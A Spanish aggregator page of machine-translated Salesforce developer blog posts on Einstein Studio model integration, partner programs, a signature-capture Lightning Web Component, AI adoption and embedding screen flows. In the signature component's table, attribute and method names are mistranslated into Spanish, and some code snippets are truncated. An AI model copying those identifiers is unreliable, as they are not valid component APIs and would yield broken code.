Einstein Studio es una plataforma fácil de usar que le permite crear y poner en funcionamiento la IA en Salesforce. La plataforma aprovecha el poder de otras plataformas de IA, como Amazon SageMaker y Google Cloud Vertex AI, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos en Salesforce. En este blog, presentamos Einstein Studio y exploramos cómo la capacidad de traer su propio modelo (BYOM) generalmente disponible puede generar resultados para su negocio.

Presentamos Traiga su propio modelo (BYOM)

Einstein Studio le permite conectarse fácilmente a modelos predictivos o generativos y usarlos en el flujo de trabajo en Salesforce. Por ejemplo, los modelos predictivos se pueden usar para puntuar clientes potenciales, recomendar productos o detectar abandonos. Con modelos generativos, puede crear contenido como resúmenes de casos, respuestas de correo electrónico y descripciones de productos. Para obtener más información sobre la IA generativa y los modelos de lenguaje extenso (LLM), consulte el blog de Salesforce 360 .

Conectar un modelo con Einstein Studio es simple. Puede integrar fácilmente su modelo con Data Cloud para acceder a predicciones e información en tiempo real y usar la información de varias maneras. Por ejemplo, para enriquecer los perfiles de los clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales. También puede usar un modelo generativo para crear campañas de correo electrónico personalizadas basadas en las preferencias de un cliente y su comportamiento de compra.

¿Por qué traer su propio modelo?

Estos son algunos de los beneficios de usar un modelo de Amazon SageMaker con datos de Data Cloud en Einstein Studio.

  • Acceda a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360 en SageMaker.
  • Elimina la necesidad de trabajos ETL tediosos, costosos y propensos a errores. Este enfoque de federación de copia cero para los datos reduce la sobrecarga para administrar las copias de datos, los costos de almacenamiento y mejora la eficiencia.
  • Crea modelos rápidamente en SageMaker y conecta los modelos en Data Cloud para consumir predicciones para la optimización de procesos comerciales.
  • Admite la ingesta de datos en tiempo real, en streaming y por lotes para impulsar los resultados de IA relevantes.
  • Permite el uso sin inconvenientes de modelos y predicciones de SageMaker en Salesforce mediante Flow, un paquete de automatización de flujos de trabajo. Flow permite la toma de decisiones impulsada por IA que puede evolucionar en función de actualizaciones de datos en tiempo real.

Casos de uso

Estos son algunos casos de uso en los que Einstein Studio puede mejorar la experiencia del cliente y agregar un toque personal.

Caso de uso minorista

Un minorista puede crear un modelo de IA personalizado para predecir la probabilidad de que un cliente compre atuendos específicos en función de los datos de compromiso, como su historial de compras o actividad en línea. Luego pueden implementar el modelo y utilizar Einstein Studio para ofrecer recomendaciones de productos hiperpersonalizados a los clientes a través del canal más apropiado, incluido el correo electrónico, una aplicación móvil o las redes sociales.

Caso de uso de viaje

Una agencia de viajes puede conectar los datos de CRM, como el historial de reservas del cliente y las preferencias de viaje, con datos que no son de CRM, como reseñas de destinos y previsiones meteorológicas. Luego pueden implementar modelos de IA predictivos y generativos para predecir qué destinos atraen a clientes específicos y generar recomendaciones de correo electrónico personalizadas para ellos.

Caso de uso automotriz

Una marca automotriz puede usar inteligencia artificial predictiva para determinar cuándo es probable que un automóvil necesite mantenimiento y detectar reclamos de seguros fraudulentos. Luego, la IA generativa se puede utilizar para personalizar las campañas de marketing de los clientes en función de las necesidades y preferencias individuales.

Flujo de trabajo de la aplicación para usar Einstein Studio con AWS SageMaker

En esta sección, analizamos brevemente el flujo de trabajo de la aplicación con Einstein Studio.

En este flujo de trabajo, el conector de Python otorga a SageMaker acceso seguro a los objetos de Salesforce Data Cloud. Después de la autenticación, los especialistas en datos pueden explorar y preparar los datos, y realizar tareas de ingeniería de funciones para el desarrollo y la inferencia de modelos de IA mediante la interfaz visual interactiva de SageMaker Data Wrangler .

El flujo de trabajo anterior es específico de Data Wrangler. Pero, ¿qué sucede si es un científico de datos y planea usar los cuadernos de SageMaker Studio para desarrollar y preparar sus modelos personalizados? Una vez que se aprueba un modelo en el registro de SageMaker, simplificamos el proceso con una plantilla de proyecto de SageMaker para Salesforce para automatizar la implementación en un extremo de invocación.

Este extremo de invocación se configura como destino en Einstein Studio y se integra con las aplicaciones de Salesforce Customer 360. Para obtener más información sobre este flujo de trabajo, consulte el blog de AWS .

Cómo consumir predicciones de su modelo en Salesforce

Hay dos formas de consumir predicciones. Usando acciones invocables en Flow y Apex, o con análisis ad hoc.

Use Flow Builder y Apex para obtener predicciones

Aquí hay un flujo que usa una acción invocable para crear recomendaciones de productos para un cliente.

En este ejemplo, un administrador usa Flow Builder para separar los registros de individuos unificados para verificar si se realizó una compra reciente. Si se realizó la compra, la acción invocable obtiene la inferencia del modelo de Einstein Studio y recomienda el siguiente mejor producto a un cliente.

Esta acción invocable también se puede llamar en Apex. Vea el ejemplo a continuación.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('variable_1', '10');
action.setInvocationParameter('variable2', '20');
action.setInvocationParameter('variable3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} «>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice análisis ad hoc para obtener predicciones

Query API es otra forma rápida de obtener puntajes de predicción para los datos que residen en Data Cloud. Con Query API, puede usar el punto final de inferencia y funciones de predicción de llamadas para probar el punto final.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusión

Einstein Studio es una plataforma de IA fácil de usar que permite a los equipos de ciencia e ingeniería de datos crear, entrenar e implementar modelos de IA utilizando plataformas externas y datos en Data Cloud. Las plataformas externas incluyen Amazon SageMaker, Google Cloud Vertex AI y otros servicios de IA predictivos o generativos. Una vez que esté listo, puede utilizar los modelos de IA en tiempo real para impulsar cualquier aplicación de ventas, servicios, marketing, comercio y otras en Salesforce.

Recursos adicionales

Sobre el Autor

Daryl Martis es el Director de Producto de Salesforce para Einstein. Tiene más de 10 años de experiencia en la planificación, creación, lanzamiento y gestión de soluciones de clase mundial para clientes empresariales, incluidas soluciones de inteligencia artificial y aprendizaje automático y en la nube. Anteriormente trabajó en la industria de servicios financieros en la ciudad de Nueva York. Síguelo en LinkedIn o Twitter .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Sube de nivel como socio de Salesforce ☁️

Sube de nivel como socio de Salesforce ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Cuando nuestros socios tienen éxito, tenemos éxito. Como socio de confianza, tiene la oportunidad de desbloquear los activos de ventas, la propiedad intelectual, las mejores prácticas, las historias de los clientes, el asesoramiento personalizado y nuestra metodología de lanzamiento de Salesforce. Esto es todo lo que brindamos a nuestros equipos de ventas internos de Salesforce, entregado en un formato interactivo y atractivo.

“Nuestros socios juegan un papel fundamental para ayudar a nuestros clientes a escalar capacidades, innovar y tener éxito con Salesforce”, dice Steve Corfield, vicepresidente ejecutivo de alianzas globales, canales y productos emergentes de Salesforce.

Comience a aprender con Partner Learning Camp

Explore el principal destino de aprendizaje y amplíe sus capacidades técnicas y de ventas para satisfacer las necesidades de los clientes ahora y en el futuro.

Aumentar la oportunidad de servicios para socios

Salesforce realizó algunos cambios importantes este año para optimizar las soluciones de lanzamiento al mercado. El primer gran cambio es la tecnología y la innovación de productos. Atrás quedaron los días de almacenamiento en silos en la nube y la venta de miles de SKU. Ahora estamos vendiendo conjuntos de productos que están diseñados para satisfacer las necesidades de audiencias específicas. El enfoque en las personas de la audiencia nos permite producir ofertas más integradas y brindarles a los clientes oportunidades para desbloquear el Salesforce Customer 360 completo.

Ahora, es más fácil que nunca vender a través de Customer 360. Eso significa mayores ingresos y menor pérdida de clientes para los socios. Hay un efecto multiplicador significativo cuando un cliente tiene más de una nube. A medida que aumenta su participación en Salesforce, también puede ver una marcada disminución en el desgaste.

Los socios son clave para el éxito del cliente. Cuando nuestros socios participan estratégicamente en el ciclo de ventas:

  • Las tasas de ganancias son 36 veces más altas
  • El precio de venta promedio se incrementa 2x
  • Los socios implementan en promedio 4,5 veces los ingresos por licencias a través de sus servicios con nuestros clientes

“Los socios que brindan valor, innovación y crecimiento más rápido desbloquean el tipo de confianza de nuestros clientes que conduce a relaciones más profundas”, dice Corfield.

Haga crecer sus capacidades de ventas de Salesforce para impulsar su éxito

El verdadero éxito de ventas no se trata solo de cumplir con las cuotas o realizar transacciones rápidas. Se trata de construir relaciones sólidas y duraderas con los clientes. Esto significa comprender sus necesidades únicas y brindar soluciones personalizadas que agreguen valor y resuelvan los desafíos comerciales.

Salesforce tiene una gran cantidad de recursos para ayudarlo sin importar su rol de vendedor. Elija entre seminarios web interactivos breves y cursos a pedido en Partner Learning Camp (PLC). Disponibles para todos los socios de Salesforce, estos recursos están diseñados para ayudarlo a impulsar el éxito de las ventas a lo largo del ciclo de vida del cliente.

Generación de demanda: aprenda el valor de Salesforce y obtenga información sobre compradores únicos con los seminarios web Sales Messaging 101 . Luego, amplíe sus conocimientos en el seminario web Creación de proyectos y calificación de clientes potenciales . Aprenderá cómo comprender los puntos débiles de su cliente, involucrar a sus tomadores de decisiones y hacer avanzar la oportunidad.

Progresión del trato: una vez que tenga una cartera saludable de clientes potenciales, es hora de sobresalir en el lanzamiento. Sales Kickstart ofrece una clase magistral completa para ayudarlo a perfeccionar su presentación. Durante tres medios días, Kickstart ofrece capacitación personalizada para dar forma a su marco de presentación, ayudarlo a contar historias de clientes y vender en Customer 360. Esta capacitación también está disponible a pedido en PLC.

Entrada al mercado repetible: las personas que demuestren liderazgo en ventas en el ecosistema de socios pueden ser invitadas a convertirse en campeones de ventas de Salesforce . Es una oportunidad para obtener acceso a asesoramiento personalizado, preparación de lanzamientos y comentarios. En su tercer año, Salesforce ha ayudado a su grupo élite de campeones a obtener millones de dólares en proyectos. Los campeones guían a los clientes sobre las opciones tecnológicas correctas para el éxito y los ayudan a superar los desafíos comerciales y del mercado.

Reciba recompensas por enviar clientes potenciales

Cierre tratos más rápido y a una tasa más alta, desbloquee los beneficios de los socios, gane tarifas de referencia y desarrolle una asociación sólida con Salesforce.

Complemente sus capacidades con recursos técnicos y de marketing  

Amplíe el impacto de sus capacidades de ventas de Salesforce aprovechando los siguientes recursos. Al hacerlo, desarrollará sus capacidades técnicas, accederá a recursos de marketing y capacitación, y aprenderá cómo llegar a sus clientes en el momento y lugar correctos.

Desarrolle experiencia técnica: acceda a cursos y planes de estudios para mejorar sus capacidades técnicas . Sumérjase en la capacitación disponible a través de Trailhead, Trailhead Academy, credenciales de Salesforce y Partner Learning Camp. Acceda a cursos específicos de funciones, como talleres impartidos por ingenieros de soluciones, para ingenieros de soluciones.

Llegue a sus clientes en el momento y el lugar correctos: el Centro de marketing para socios es una biblioteca de materiales gratuitos de marketing y ventas para ayudarlo a impulsar la demanda. Acceda a contenido gratuito, preconstruido y personalizable basado en la personalidad del comprador. Encontrará recursos como libros de jugadas de campaña, copia de correo electrónico, mazos de ventas, guiones de llamadas y más.

El programa de marketing de AppExchange puede ayudarlo a generar demanda, impulsar el éxito de los clientes y mejorar la visibilidad. Además, obtendrá oportunidades de marketing conjunto llave en mano con Salesforce.

Accelerate Grow puede ofrecerle más entrenamiento práctico. Este programa acelerador virtual de 9 semanas puede ayudarlo a salir al mercado más rápido y escalar el éxito de su empresa. Tendrá acceso a revisiones de listados personalizados, sesiones interactivas dirigidas por expertos y aprendizajes a pedido.

Amplíe sus operaciones de reventa: los revendedores pueden obtener una vista tras bambalinas sobre pronósticos, informes y el lado operativo de la gestión del negocio. Esto está disponible como un Bootcamp de reventa (que incluye Sales Kickstart) o como un taller de operaciones de reventa independiente.

Como socio de Salesforce, su excelencia en ventas impulsa la excelencia de la empresa. Puede maximizar el valor de su asociación desbloqueando un mundo de recursos para impulsar el éxito de ventas, expandir su base de clientes y prosperar en un mercado competitivo.

Salesforce está abriendo camino hacia los 50.000 millones de dólares en ingresos para 2026. Somos la empresa de software empresarial de más rápido crecimiento entre las cinco principales, y nuestros socios son fundamentales para ese crecimiento. Extienden la funcionalidad de la plataforma con aplicaciones personalizadas y ayudan a los clientes a implementar la tecnología. Junto con nuestros socios, crecemos, innovamos e invertimos en formas que ayudan a los clientes a transformar sus negocios.

Seguir leyendo

Capture firmas electrónicas con componentes web Lightning en dispositivos móviles ☁️

Capture firmas electrónicas con componentes web Lightning en dispositivos móviles ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Capture firmas electrónicas con componentes web Lightning en dispositivos móviles | Blog de desarrolladores de Salesforce

¿Alguna vez ha necesitado recopilar una firma electrónica sobre la marcha? Tal vez necesite verificar un pago, asegurarse de que se procesen transacciones exitosas o incluso actualizar los registros después de que se haya completado un servicio. Una firma electrónica es útil como paso de verificación de muchas maneras. Permitir que los trabajadores de campo capturen firmas sobre la marcha es uno de los casos de uso móvil más comunes que escuchamos de nuestros clientes. Por lo tanto, me complace compartir que hemos creado un componente web Lightning de muestra que le permite capturar firmas y adjuntarlas a un registro de Salesforce. Si bien creamos esto para casos de uso móvil, no hay nada que le impida usarlo también en computadoras de escritorio con pantalla táctil. Trabajar con el LWC de captura de firmas Veamos un ejemplo en acción. Dreamhouse es una aplicación de muestra de bienes raíces ficticia que se puede usar para web y dispositivos móviles. Los agentes de bienes raíces, cuando están en el proceso de cerrar un trato, deben poder capturar el nombre y la firma del comprador para asociarlos con la propiedad que se vendió. Para hacer esto, los desarrolladores de Dreamhouse pueden utilizar un nuevo componente LWC de muestra que hemos creado. ¡Vamos a sumergirnos en él!

Configuración de la configuración de LWC

Para nuestro requisito Dreamhouse anterior, debemos poder recopilar el nombre y la información de la firma del LWC. Esto se puede hacer a través de tres pasos.

  1. Configure su diseño HTML LWC
  2. Configura tus estilos LWC
  3. Conecte su interfaz con las API de JavaScript de LWC

¡Vamos a sumergirnos en más detalles sobre los pasos!

1. Configure su diseño HTML de LWC

Para comenzar, vaya a la sección NameAndSignatureCapture del directorio de muestra de LWC en GitHub. Luego, copie el componente signaturePad en la carpeta lwc de su proyecto. Después de copiar el código del componente de muestra, puede hacer referencia al componente escribiendo <c-signature-pad> y establecer sus atributos para configurarlo.

<dx-code-block title language="html" code-block="

«>

2. Configura tus estilos LWC

A continuación, los estilos de la interfaz también se pueden ajustar para satisfacer sus necesidades. Para nuestra demostración de Dreamhouse, importemos una nueva familia de fuentes. Para hacer esto, simplemente configure los estilos para su componente LWC como se ve a continuación.

También puede personalizar el diseño del LWC a su gusto haciendo referencia a la clase adecuada y los atributos HTML.

3. Conecte su interfaz con las API de LWC

Por último, debemos asegurarnos de que la firma sea capturada correctamente por el LWC. A los efectos de nuestro ejemplo Dreamhouse, queremos poder guardar la firma proporcionada por el usuario final.

El SignaturePad LWC que proporcionamos se puede configurar para capturar datos y personalizar la interfaz a través de las API de JavaScript y sus atributos HTML correspondientes. Para hacer esto, simplemente invoque los métodos API y conéctelos a sus atributos HTML correspondientes en el <c-signature-pad> . Consulte la lista a continuación para el atributo HTML y las asignaciones de la API de JavaScript

Funcionalidad Descripción Atributo HTML = "tipo" API de JavaScript (Tipo)
Habilitar firma de nombre Permite a los usuarios finales escribir su nombre y devuelve un texto para firmar generado automáticamente a medida que los usuarios escriben su nombre. enable-name-signing=”booleano” enableNameSigning(booleano)
Habilitar dibujo de firma Le permite solicitar a los usuarios finales que dibujen su propia firma personalizada en el panel de firma proporcionado. habilitar-firma-dibujo = "booleano" enableSignatureDrawing (booleano)
Grosor de trazo característico Personalice el grosor del trazo del lápiz en las capturas de firma electrónica. trazo-grosor = "entero" grosor del trazo (entero)
Color de la pluma de firma Personalice el color de tinta del bolígrafo que se proporciona al usuario final. bolígrafo-color=”Cadena” plumaColor(Cadena)
Color de la almohadilla de firma Personalice el color del pad de firma que ve el usuario final. pad-color=”Cadena” padColor(Cadena)
Color de fuente de la firma Personaliza la fuente de la firma. fuente-color = "Cadena" font.color=Cadena
Configuración de una etiqueta de campo de entrada Establezca una etiqueta para el nombre del campo de entrada. nombre-entrada-etiqueta=”Cadena” nombreInputLabel=”Cadena”
Configuración de una etiqueta de almohadilla Establezca un nombre para la etiqueta sobre el panel de firma. nombre-entrada-etiqueta=”Cadena” nombreInputLabel=”Cadena”
Guardar firma Permite guardar una firma autogenerada y/o personalizada. onclick={guardar firma} pad.getSignature()
Firma clara Permite eliminar la firma anterior si es necesario volver a hacerlo. onclick={clarar Firma} pad.clearSignature()

Tenga en cuenta que también agregamos un método clearSignature y saveSignature para permitir borrar y guardar firmas respectivamente. Puede hacer esto configurando sus propios métodos de JavaScript que se conectan a pad.setSignature() y pad.clearSignature() . Estos se pueden conectar a los componentes <lightning-button> . Veamos un ejemplo de esto a continuación.

Ahora que tenemos los métodos de JavaScript identificados, veamos algunos de ellos en acción. Esto se puede hacer usando el siguiente JavaScript.

{ if (font.family === "Great Vibes" && font.status === "unloaded") { // Ensure that the font is loaded so that signature pad could use it. // If you are using a different font in your project, don’t forget // to update the if-condition above to account for it. font.load(); } }); } saveSignature() { const pad = this.template.querySelector("c-signature-pad"); if (pad) { const dataURL = pad.getSignature(); if (dataURL) { // At this point you can consume the signature, for example by saving // it to disk or uploading it to a Salesforce org/record. // Here we just preview it in an image tag. this.imgSrc = dataURL; } } } clearSignature() { const pad = this.template.querySelector("c-signature-pad"); if (pad) { pad.clearSignature(); } this.imgSrc = null; }
} «>

Tenga en cuenta que agregamos un método clearSignature que se invoca cuando se hace clic en el botón Borrar, así como un método saveSignature que se invoca cuando se hace clic en el botón Guardar.

Algo a destacar sobre el componente es que responde completamente a los cambios de tamaño y orientación. También tenga en cuenta que el componente de captura de firmas ha sido diseñado para funcionar en la web, el panel táctil o el lápiz para dispositivos móviles o tabletas.

Además, Signature Capture LWC es compatible con la web y los dispositivos móviles y es la solicitud más común utilizada en la aplicación móvil Salesforce , así como en nuestra aplicación Mobile Test Harness . Eche un vistazo a la demostración a continuación para ver cómo se ejecuta en acción.

Conclusión

Esperamos que haya disfrutado de esta publicación de blog y que esté ansioso por usar las capacidades de captura de firma en su LWC para dispositivos móviles. Para empezar:

  • ¡Buceo en! Consulte nuestro repositorio GitHub de ejemplos móviles de LWC para ver y probar los ejemplos de LWC de las capacidades de captura de firmas en acción. Luego, una vez que esté familiarizado con los flujos…
  • ¡Personalízalo! Tome las muestras de Signature Capture LWC y amplíelas para personalizarlas según las necesidades de su negocio.
  • ¡Alcanzar! Si tiene alguna pregunta, comentario o idea, puede conectarse con nosotros en nuestra comunidad Salesforce Mobile Trailblazer .

Para obtener más información sobre nuestras ofertas móviles, consulte los siguientes enlaces:

Sobre el Autor


Ashwin Nair es un Product Manager en Salesforce que se enfoca en Salesforce Mobile. Actualmente está trabajando en Mobile Platform Experiences y ha estado en el espacio de desarrollo web y móvil durante más de siete años. Síguelo en LinkedIn .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

La innovación en IA llegó para quedarse: cómo mantenerse al día

La innovación en IA llegó para quedarse: cómo mantenerse al día

Algunos de ustedes pueden ser escépticos sobre la exageración que rodea a la IA, descartándola como otra palabra de moda usada en exceso. Pero dentro de la industria tecnológica, creemos que esta revolución tecnológica tendrá un profundo impacto en la vida de las personas. Lo que distingue a esta ola de cambio es su naturaleza continua y en constante evolución.

Si bien la IA ha estado presente durante años, ahora está alcanzando nuevas alturas. El aprendizaje profundo y la capacidad de la IA para imitar las capacidades humanas están impulsando la innovación de la IA. Estos avances han transformado lo que antes se consideraba imposible en una realidad tangible. Para mantenerse al día con estos desarrollos, es crucial considerar las siguientes estrategias.

Impulse la transformación continua con la Oficina de
Innovación continua

Los servicios profesionales de Salesforce pueden ayudarlo a elevar sus capacidades para obtener el máximo valor de su inversión en Salesforce.

Abraza lo nuevo

El Foro Económico Mundial informa que casi una cuarta parte de todos los trabajos sufrirán cambios significativos en los próximos cinco años. Esta estadística asombrosa destaca la necesidad urgente de mejorar las habilidades, ya que el 44% de las habilidades dentro de esos trabajos deberán adaptarse. El crecimiento exponencial de las posibilidades debido a la innovación de la IA es evidente cada día que pasa.

Para prosperar en esta nueva era, los líderes en el acelerado entorno empresarial actual deben enfrentarse a una complejidad y turbulencia sin precedentes. La velocidad del cambio ha superado nuestra capacidad individual para mantenernos al día. Adoptar nuevas tecnologías como la IA es esencial para el éxito y mantenerse a la vanguardia. En lugar de buscar la estabilidad, debemos adoptar lo contrario y aprovechar el poder de los datos, la IA y los circuitos de retroalimentación en tiempo real para mejorar nuestra toma de decisiones estratégicas.

Ahora, exploremos pasos prácticos para adoptar esta nueva realidad:

  • Potencie la creatividad con IA generativa : use su capacidad para producir ideas, diseños y contenido innovadores. Puede aprovechar grandes cantidades de datos y generar soluciones creativas que antes eran inimaginables. Al hacerlo, podrá mantenerse a la vanguardia en un mercado de innovación de IA que evoluciona rápidamente. También podrá explorar trabajos más imaginativos y de valor agregado al automatizar tareas repetitivas y liberar tiempo.
  • Reconsidere su papel en la era de la innovación de la IA : la mayoría de los trabajadores del conocimiento no podrán hacer su trabajo sin el apoyo de la IA. Necesitarán aprender estas habilidades en muy poco tiempo. La IA exigirá que reconsideremos nuestro papel en la autoría, la ideación y la resolución de problemas.
  • Espere revoluciones tecnológicas frecuentes : el tiempo se acorta entre transformaciones importantes. Hace cientos de años, se necesitaron cambios importantes en la tecnología, como el causado por la imprenta, en el transcurso de varias generaciones. Con el paso del tiempo, el ritmo del cambio se aceleró. Tomemos, por ejemplo, los cambios provocados por la invención del automóvil, que se produjeron entre generaciones. Ahora, podemos ver que las revoluciones en tecnología, como Internet, pueden ocurrir dentro de una sola generación.

La IA se está moviendo rápido y continuará creando cambios constantes. Para adaptarnos, necesitamos sentirnos cómodos con la inestabilidad porque el polvo nunca se asentará . Si se encuentra sin planes para ajustar su forma de trabajar, inicie la conversación ahora.

Volverse más receptivo al cambio

Reconocer y solidarizarse con los desafíos de la transformación . Considere los siguientes enfoques prácticos para apoyar a su organización a través del cambio:

  • Cree seguridad para que las personas exploren posibilidades : este es el ancla del enfoque de cambio centrado en el ser humano de Salesforce. Al igual que el ancla de un barco, permitirá deambular en todas las direcciones mientras se mantiene en una ubicación estratégica.
  • Defina lo que se mantendrá firme : cuando todo parece estar cambiando rápidamente, identifique las cosas importantes que NO están cambiando. Esto los aislará del mar de novedades que rodean a sus equipos.
  • Encuentre pequeños pasos para preparar a su gente : Algo tan simple como mantener sus Etapas de ventas actuales mientras aplica EinsteinGPT puede brindarle una base segura mientras prueba cosas nuevas.
  • Invierta en capacitación y capacitación : reconozca que la innovación de la IA afectará los roles laborales y las habilidades requeridas. Proporcione programas de capacitación y recursos para que sus empleados aprendan a trabajar de manera efectiva con las tecnologías de IA. Al hacerlo, fomentará una cultura de aprendizaje continuo y desarrollo de habilidades.

Recuerde, demasiados cambios a la vez pueden generar resistencia. Al administrar y enmarcar sus iniciativas de cambio de manera reflexiva, puede ayudar a su organización a desarrollar una mentalidad abierta. Cuando eso suceda, los empleados se sentirán más seguros para explorar nuevas ideas. Esto permite una cultura de adaptabilidad y crecimiento.

empezar con
Entrenador de IA

Los servicios profesionales de Salesforce pueden ayudarlo a establecer la base adecuada para el éxito con nuestro nuevo paquete, AI Coach.

Construye pistas para el futuro

El éxito llegará a las organizaciones que crean un espacio para explorar el cambio y probar los impactos potenciales de la innovación de la IA. Siga estos pasos para construir su futuro de IA:

  • Forme un equipo de innovación multifuncional : reúna un equipo de personas con experiencia diversa en comportamiento, adopción y transformación. Este equipo impulsará la exploración, implementación y prueba de soluciones de IA dentro de su organización.
  • Diseñar una infraestructura para el futuro : no se pueden poner trenes magnéticos de alta velocidad en las vías del tren tradicional. Los líderes deberán examinar sus plataformas, infraestructura, deuda técnica y gobernanza para asegurarse de que estén listos.
  • Adopte una mentalidad centrada en el cliente : comprenda cómo la IA puede mejorar las experiencias de los clientes y mejorar su conexión con ellos. Desarrolle una estrategia que use IA para proporcionar una entrega de productos más rápida, servicios personalizados, mayor reconocimiento de marca y mayor participación del cliente.
  • Genere confianza : Esta tecnología tiene tantos peligros como beneficios. Adopte un enfoque centrado en el ser humano y genere confianza con aquellos que usan sus productos. Tus clientes toman sus decisiones de compra en base a la confianza que creas. El uso responsable y ético estará en el centro mismo de este esfuerzo.

El futuro de la IA tiene un potencial inmenso. Al abordarlo de manera cuidadosa y responsable, puede desbloquear nuevas posibilidades e impulsar a su organización hacia el éxito a largo plazo.

Impulse la innovación continua de la IA

La revolución de la IA está aquí. Para prosperar en esta era, las organizaciones deben adoptar la IA y su poder transformador. Salesforce Professional Services es su socio de confianza en este viaje. Lo ayudaremos a navegar por el panorama en evolución de la IA e impulsar la transformación continua.

Con la Oficina de Innovación Continua , nuestro equipo de asesores de confianza trabajará con usted para optimizar y escalar para el futuro, aumentar la agilidad y la flexibilidad y mejorar la entrega de la plataforma. Lo ayudaremos a alinearse con los resultados comerciales y darse cuenta del poder de la IA y los datos, todo en la plataforma de CRM de IA n.º 1 del mundo. Juntos, podemos potenciar las experiencias de sus clientes y desbloquear todo el potencial de Salesforce.

No dejes que el polvo se asiente. Aproveche las extraordinarias posibilidades de la IA con los servicios profesionales de Salesforce e impulse a su organización a nuevos niveles de innovación y éxito.

Seguir leyendo

Incrustar flujos de pantalla en el componente web Lightning

Incrustar flujos de pantalla en el componente web Lightning

Última actualización el 19 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo incrusta un flujo de pantalla dentro de un componente web Lightning?

Objetivos:

Después de leer este blog, podrá:

  • Incruste el flujo de pantalla dentro de un componente web Lightning
  • Aplicar representación condicional en el componente web Lightning
  • Use uiRecordApi para obtener el valor del campo del registro sin usar la clase de Apex
  • y mucho más

En el pasado, escribí algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Pasar datos del componente web Lightning al flujo de pantalla
  2. Uso del componente web Lightning para mostrar un banner de alerta

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Se le ha encomendado un requisito comercial para desarrollar un componente LWC con las siguientes funcionalidades:

  1. Debería mostrar un flujo de pantalla llamado 'parterFlow' cuando el tipo de cuenta es 'Socio tecnológico'.
  2. Debería presentar un flujo de pantalla llamado 'customerFlow' cuando el tipo de cuenta es 'Cliente – Directo'.
  3. El componente LWC debe diseñarse con la capacidad de incorporarse en la página de registro de rayos de la cuenta.

Enfoque de Campeón de Automatización (I-do):

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Para crear un flujo en el componente Lightning Web, establezca el atributo flowApiName del componente Lightning-Flow en el nombre de flujo que desea usar. El componente incluye botones de navegación (Atrás, Siguiente, Pausa y Finalizar) para que los usuarios naveguen dentro del flujo.

También usaremos un adaptador de cable uiRecordApi que nos permite interactuar con registros de Salesforce desde los componentes del componente web lightning sin escribir código Apex. Esta API le permite realizar operaciones como recuperar los datos de un registro o los detalles del diseño, crear, eliminar o actualizar un registro, etc. Estos son algunos de los métodos clave proporcionados por uiRecordApi :

  1. getRecord : este método le permite obtener datos de registro.
  2. getRecordCreateDefaults : este método proporciona los valores predeterminados que utiliza Salesforce al crear un nuevo registro.
  3. getRecordUi : obtiene los detalles de diseño de un registro, como qué campos se muestran, cómo se muestran, etc.
  4. createRecord : este método le permite crear un nuevo registro.
  5. deleteRecord – Le permite eliminar un registro.
  6. updateRecord : te permite actualizar un registro existente.

En el archivo de configuración XML, usaremos lightning__RecordPage como destino para permitir que el componente web de iluminación se use en una página de registro en Lightning App Builder.

Práctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito comercial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un ScreenFlow (customerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  2. Cree un ScreenFlow (partnerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  3. Cree un componente web relámpago para mostrar los diferentes flujos de pantalla según el tipo de cuenta

Paso 1.1: Definir propiedades de flujo (customerFlow)

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 1.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuación, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 1.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
